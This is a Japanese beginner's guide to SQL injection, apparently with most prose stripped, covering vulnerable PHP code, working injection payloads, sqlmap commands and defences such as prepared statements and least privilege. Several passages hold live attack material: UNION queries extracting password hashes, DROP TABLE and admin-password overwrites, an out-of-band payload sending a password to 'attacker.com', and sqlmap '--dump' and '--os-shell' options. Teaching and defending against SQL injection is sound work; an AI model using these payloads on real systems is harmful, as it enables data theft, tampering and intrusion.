SQLインジェクション完全ガイド：仕組みから対策まで【初心者向け】

ユーザー入力 → アプリケーション → SQL文生成 → データベース → 結果

悪意のある入力 → 不正なSQL文 → データベースが予期しない動作

<?php
// ユーザー入力を直接SQL文に埋め込む（危険！）
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    echo "ログイン成功！";
} else {
    echo "ログイン失敗";
}
?>

SELECT * FROM users WHERE username = 'john' AND password = 'secret123'

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'

SELECT * FROM users WHERE username = '' UNION SELECT username, password FROM users -- ' AND password = 'anything'

User ID: 1

ID: 1
First name: admin
Surname: admin

User ID: 1'

You have an error in your SQL syntax...

User ID: 1' OR '1'='1

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'

ID: 1
First name: admin
Surname: admin

ID: 2
First name: Gordon
Surname: Brown

ID: 3
First name: Hack
Surname: Me

...（全ユーザーが表示される）

User ID: 1' UNION SELECT user, password FROM users --

ID: admin
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: (MD5ハッシュ)

ID: gordonb
First name: e99a18c428cb38d5f260853678922e03
Surname: (MD5ハッシュ)

-- データベース名の取得
1' UNION SELECT null, database() --

-- テーブル一覧の取得
1' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=database() --

-- カラム名の取得
1' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users' --

' OR 1=1 --
' UNION SELECT username, password FROM users --

-- データベース名の1文字目が'a'かチェック
' AND SUBSTRING(database(),1,1)='a' --

-- 結果が表示される → True
-- 結果が表示されない → False

-- データベース名の1文字目が'a'なら5秒待機
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --

-- レスポンスが遅い → True
-- 即座にレスポンス → False

' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) --

XPATH syntax error: '~mydatabase~'

' ORDER BY 1 --  （エラーなし）
' ORDER BY 2 --  （エラーなし）
' ORDER BY 3 --  （エラー発生 → カラム数は2）

' UNION SELECT username, password FROM users --

'; DROP TABLE users; --
'; UPDATE users SET password='hacked' WHERE username='admin'; --

' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users WHERE id=1),'.attacker.com\\test.txt')) --

'
''
`

' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --

' OR SLEEP(5) --
'; WAITFOR DELAY '00:00:05' --  (SQL Server)
' || pg_sleep(5) --  (PostgreSQL)

' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --

sudo apt install sqlmap

# URLに対してテスト
sqlmap -u "http://example.com/page.php?id=1"

# POSTリクエストのテスト
sqlmap -u "http://example.com/login.php" --data="username=test&password=test"

# データベース名の取得
sqlmap -u "http://example.com/page.php?id=1" --dbs

# テーブル一覧の取得
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables

# データのダンプ
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T users --dump

# OSシェルの取得（権限がある場合）
sqlmap -u "http://example.com/page.php?id=1" --os-shell

# Cookieを使用
sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=abc123"

# User-Agentの偽装
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0..."

# プロキシ経由（Burp Suiteと連携）
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

# リスクレベルとテストレベルの変更
sqlmap -u "http://example.com/page.php?id=1" --level=5 --risk=3

# WAFバイパス
sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment

# w3afの起動
w3af_console

# プラグインの設定
plugins
audit sql_injection
back

# ターゲットの設定
target
set target http://example.com/
back

# スキャン開始
start

# ZAPの起動
zaproxy

# 基本スキャン
wapiti -u http://example.com

# SQLインジェクションのみテスト
wapiti -u http://example.com -m sql

nikto -h http://example.com

$query = "SELECT * FROM users WHERE username = '$username'";

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindParam(':username', $username);
$stmt->execute();

$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();

connection.query('SELECT * FROM users WHERE username = ?', [username], (error, results) => {
    // 処理
});

// 数値のみ許可
if (!is_numeric($user_id)) {
    die("Invalid input");
}

// 英数字のみ許可
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
    die("Invalid username");
}

// 整数型にキャスト
$user_id = (int)$_GET['id'];

// 最大長を制限
if (strlen($username) > 50) {
    die("Username too long");
}

$username = mysqli_real_escape_string($conn, $_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";

-- アプリケーション用ユーザーの作成
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- 必要なテーブルにのみSELECT, INSERT, UPDATE権限を付与
GRANT SELECT, INSERT, UPDATE ON mydb.users TO 'webapp'@'localhost';
GRANT SELECT ON mydb.products TO 'webapp'@'localhost';

-- DROP, DELETE, GRANT等の危険な権限は付与しない

// 開発環境
ini_set('display_errors', 1);
error_reporting(E_ALL);

// 本番環境
ini_set('display_errors', 0);
error_reporting(0);

try {
    // データベース処理
} catch (Exception $e) {
    // ログに記録
    error_log($e->getMessage());
    
    // ユーザーには一般的なメッセージのみ
    die("エラーが発生しました。管理者にお問い合わせください。");
}

SecRule ARGS "@detectSQLi" "id:1000,phase:2,deny,status:403,msg:'SQL Injection Detected'"

-- ストアドプロシージャの作成
DELIMITER //
CREATE PROCEDURE GetUserByUsername(IN p_username VARCHAR(50))
BEGIN
    SELECT * FROM users WHERE username = p_username;
END //
DELIMITER ;

-- 実行
CALL GetUserByUsername('john');

// 安全
$users = DB::table('users')->where('username', $username)->get();

# 安全
users = User.objects.filter(username=username)

// 安全
const users = await User.findAll({ where: { username: username } });

# Apacheとデータベースの起動
sudo systemctl start apache2
sudo systemctl start mysql

# DVWAのダウンロード
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chmod -R 777 DVWA

# ブラウザでアクセス
http://localhost/DVWA/setup.php

# ダウンロード
wget https://sourceforge.net/projects/bwapp/files/bWAPP_latest.zip
unzip bWAPP_latest.zip -d /var/www/html/

# アクセス
http://localhost/bWAPP/install.php

# Dockerで実行
docker run -p 8080:8080 -p 9090:9090 -e TZ=Asia/Tokyo webgoat/goatandwolf

# アクセス
http://localhost:8080/WebGoat

git clone https://github.com/Audi-1/sqli-labs.git
cd sqli-labs
# Dockerまたはローカル環境で実行

$username = addslashes($_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";

$id = $_GET['id'];  // "1 OR 1=1" が入る可能性
$query = "SELECT * FROM users WHERE id = $id";

$id = (int)$_GET['id'];  // 型変換
// さらにプリペアードステートメントを使う

# Djangoでも危険な書き方
User.objects.raw("SELECT * FROM users WHERE username = '%s'" % username)

User.objects.filter(username=username)

// 脆弱なコード
db.users.find({ username: req.body.username });

// 攻撃
{"username": {"$ne": null}}  // 全ユーザーを取得